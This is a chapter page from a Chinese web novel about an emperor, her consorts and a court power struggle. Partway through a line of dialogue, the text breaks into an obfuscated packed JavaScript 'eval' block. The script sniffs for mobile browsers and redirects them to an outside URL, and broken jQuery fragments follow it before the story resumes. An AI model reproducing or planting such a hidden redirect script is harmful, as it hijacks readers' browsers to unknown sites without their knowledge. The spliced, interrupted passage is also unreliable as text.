默认冷灰
24号文字
方正启体

14. 第 14 章

作者:李五桃本书字数:K更新时间:
    御驾寻着箫声直抵御花园深处,嫩绿萌出的树丛深处,便是幽澜湖畔。


    初春湖畔空气还带着几分料峭的寒意,水面上生出一层薄雾,将洒下的阳光稀释出了柔和的光晕。


    吹奏少年气息徐徐,浑厚悠扬的萧声便在湖畔回荡开来。


    不知不觉间,凤帝行至他的身侧,少年似受了惊吓的雏鸟,身子一缩,萧声戛然而止,转身迎上凤帝的注视时,脸颊也浮出一层红晕。


    韩柏双手抱着长萧,一时似有些六神无主,几息平复,方才屈身拂了一礼:“陛下。”


    裴源静静打量着他,少年看上去不过十六七岁,眉眼间还带着几分稚气未脱的青涩,一袭湛蓝锦袍在阳光下泛起点点星芒,仿若初登舞台的年轻偶像,脸上藏不住对美好未来的期盼与向往,甚至……有些志在必得的自负与自满。


    “你多大了?”裴源问他。


    韩柏偷偷抬眸,本想只看凤帝的一眼,可女子一貌倾城、般般入画,实在让他移不开眼。故而攥着长萧的手紧张的来回摩挲,轻声回道:“回陛下,臣十七了。”


    裴源面如老狗,内心波澜起伏。


    大晟男子十八及冠;女子二十及笄。


    很显然,面前少年还未成年。


    韩柏不知凤帝在思量什么,只知空气再次静默下来,一声鸟鸣打破寂静,韩柏才开口说道:“臣昨日做了桃花酥,陛下可要尝一尝吗?”


    裴源:“……”


    不知哪个杀千刀的放出的消息,说凤帝喜吃桃花酥,于是各宫后君三不五时的往她的凝辉殿送,原主爱不爱吃裴源不知道,裴源只知道她不爱吃。


    但也无所谓,毕竟后君的本意也不是为了让她吃。


    “走吧。”


    比之先帝,原主的后宫着实冷清,除君后外,东西六院分别住着一位后君,十分惬意。


    裴源不止一次羡慕这些后君们,各自守着自己的宫殿过日子,不但有大把的人服侍伺候,衣食住行也不用自己操心。君后好脾气,凤帝勤于政务,所以这些后君的日常工作就是做桃花酥。


    ……兴许还不是他们亲手做的。


    除了宸贵君,凤帝几乎再无偏宠之人,他们就算想宫斗,估计都找不到由头。


    在裴源看来,这简直就是神仙日子,比之她这个苦逼皇帝强的不止一星半点。


    所以踏入朝霞殿时,裴源看着满屋子的乐器,忍不住喟叹,他们甚至还可以全身心的发展自己的兴趣爱好。


    裴源心里有些不平衡,转身直接上了方台,侧倚凭几,欣赏天上云卷云舒。


    第六只鸟从眼前飞过时,香茗盏上也已飘起了徐徐茶香,韩柏壮着胆子凑上前,将下巴垫在了裴源支起的膝盖上。


    裴源转过头看他,少年一双星星眼里写满了对凤帝的崇拜与期盼,见女子并未呵斥,更加大胆的勾起了裴源的手指:“陛下在想什么呢?”


    裴源默了几息,实在说服不了自己和一个未成年勾勾搭搭,干脆抽手抓乱了他额前的头发:“去弹首曲子给朕听。”


    对于凤帝的举动韩柏俨然有些意外,甚至觉得凤帝对自己态度有些亲昵,所以理好乱发后面含娇俏:“陛下想听什么?”


    “随便。”


    “好。”


    韩柏翻身下了方台,坐在了古琴前拨弄琴弦,谈的什么曲目裴源说不上来,只感觉琴声浑厚,颇有韵味。


    一曲终了,一盏香茗也见了底,宫侍极有眼色,第二杯茶很快奉到了裴源手边,韩柏也重坐回裴源身侧:“陛下可还喜欢?”


    裴源视线略过少年,落在不远处的青铜香炉上,不答反问:“你殿里点的什么香?”


    韩柏望向香炉:“陛下说的是苏合香吗?”


    裴源:“苏合香?”


    韩柏点头:“臣幼时学琴总是提不起精神,父亲便寻了这苏合香点上,臣果然专注了许多。”他看向裴源:“陛下可是闻不惯这味道?”


    “并未。”裴源指尖转弄着茶盏,眸色微深:“只觉得在哪闻过这味道,可一时又想不起来了。”


    午时过后,日光斜照,栖梧宫内静谧无声。


    陆长行指尖轻捻月季花瓣,任汁液缓缓渗出,染红指缝。不过须臾,残瓣铺满案几,一片狼藉。


    解安在旁偷偷打量,君后神色淡漠,喜怒难辨,于是小心翼翼开口道:“这个时辰,陛下想必已留在朝霞殿用膳了……饭快凉了,君后莫再等了。”


    陆长行神情没有丝毫变化,甚至语气也淡漠如水:“本宫不饿,收了吧。”


    解安目光落在桌上的残花败叶上,无声无息的点了点头,转身招呼宫侍收拾饭菜,才惊然发觉凤帝似已入殿多时。他神色一变,正欲屈身行礼,却被凤帝一个眼色制止。


    解安心领神会,急忙招手,带着一众宫人轻声退下,只留下帝后二人。


    陆长行对此毫无所察,只瞧一盆开的正艳的月季,转瞬间就只剩下了几朵光秃秃的花蕊,实在败兴:“告诉花房,往后莫再往栖梧宫送花了。”


    说罢,行至角落,撩起水花仔细清洗着指缝花汁。水声泠泠间,似听到了汤匙与汤盅碰撞的声音。陆长行一愣,转身望去,才发现凤帝早已端坐桌前用起膳来。察觉到了他的目光后,对方抬眼相对,随口道:“朕听到了,你不饿,便未唤你。”


    陆长行:“……”


    裴源又道:“叮嘱花房的事,朕也听到了,一会儿就让乌宛白前去传话。”


    君后的脸上瞬间染上一抹红晕,仔细端详,眉宇间还多了一丝愠色。他尴尬地伫立片刻,索性心一横,径直走到桌案的另一侧坐下,端起碗筷,轻声嘟囔:“看来朝霞殿的桃花酥不足以果腹,竟连累陛下奔波。”


    裴源唇角微勾,漫不经心回他:“桃花酥的口味着实一般,不过曲子弹的深得帝心。朕决定了,明日还去~”


    柳叶般眸瞬间化作利刃,似要将眼前的翡翠青蔬斩成两段。可不过须臾,君后便敛去神色,恢复如常,淡淡说道:“能哄得陛下开怀,便是大功一件。若陛下允准,臣打算好好奖赏韩侍君。”


    裴源直言:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128699|164313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “韩柏颇好音律,君后可寻些古籍曲谱送他。”


    陆长行默了几息:“可惜了,若文渊阁没有历经二十一年前的那场大火,臣定能寻出好些珍贵曲谱。”


    裴源怔了怔,本想等回去命乌宛白找出此案卷轴,但一想昨夜已同君后言明忘了记忆一事,干脆大方问道:“什么大火?”


    她能直言相问,陆长行十分意外,不过他神色不显,饮下一口茶后,才缓缓将那旧案说了清楚。


    不知不觉间,裴源就放下了碗筷,摩挲着黑玉扳指沉思良久。


    这工部研发出用于北境城墙防冻的磷粉,竟早与二十一年前?


    两场大火,一次烧了文渊阁;一次烧了贡院,且制造火灾的手段一致,到底是同一人所为,还是有人效仿当年那场火灾作乱?


    若是后者,她到没必要追究旧案;可若是前者,那此次烧毁贡院的目的,可就不简单了。


    “昨日曾芩燕与朕说起:若想打破朝局众臣环伺之象,不妨矮下身段,深入其中。”裴源顿了顿,将视线落在陆长行身上:“君后以为这话如何?”


    陆长行微微一愣,眉间隐有错愕之色一闪而过,他匆匆垂下眼眸,克制内心杂乱,平静道:“陛下,后宫不该干政。”


    裴源挑眉,似是调侃,又似在试探:“君后干的还少?”


    陆长行面色稍霁,眼尾红痣愈发醒目,似要渗出血来。他沉默良久,才轻言低语:“此言确有几分道理,但曾娘子对朝局一知半解,所涉终究不深。若知全貌便该明白,陛下这三年礼贤下士,未起到丝毫作用。”


    裴源追问:“那依君后之见,朕该如何?”


    陆长行唇瓣翕动,轻声道:“臣一介男儿,哪里懂这些。”


    裴源并不为难他,只反问道:“那朕举个例子,假若后宫诸君团结一致,齐心合力要将君后拉下后位,君后打算如何反击?”


    陆长行抿了抿唇,目光淡然,轻声道:“自要制造矛盾,瓦解诸君合围之势,借力打力,坐收渔翁之利。”


    裴源追问:“借谁的力?”


    陆长行语气轻飘飘的,却透着几分锐利:“最得意之人。”


    裴源目光愈发深邃:“最得意之人往往根基深厚,平常矛盾,想必撼动不了其根基。”


    陆长行淡淡道:“人皆有欲望与恐惧。”


    裴源嘴角微勾,语气似是随意,却透着几分探究:“三朝老臣,权势滔天,所惧为何?”


    陆长行抬眸,眼尾的红痣似一点朱砂,红得妖冶。他抚着腕间银镯,声音清冷:“年迈之人,最怕寿数将近;更怕一世清明,临了覆灭。若在病重之际,面对排山倒海的权势流逝,名声损尽,想必一脚踏进黄泉也要奋力一搏。届时,所能仰仗之人只有陛下。而非看似锦簇,实则一团污秽、因利而聚的诸臣。”


    裴源目光深邃如渊,轻声叹道:“君后果然是朕的良臣。”


    陆长行微微一笑,眉眼间尽是从容:“臣,只是在与陛下讨论如何捍卫君后之位而已,所言若有僭越,还望陛下恕罪。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)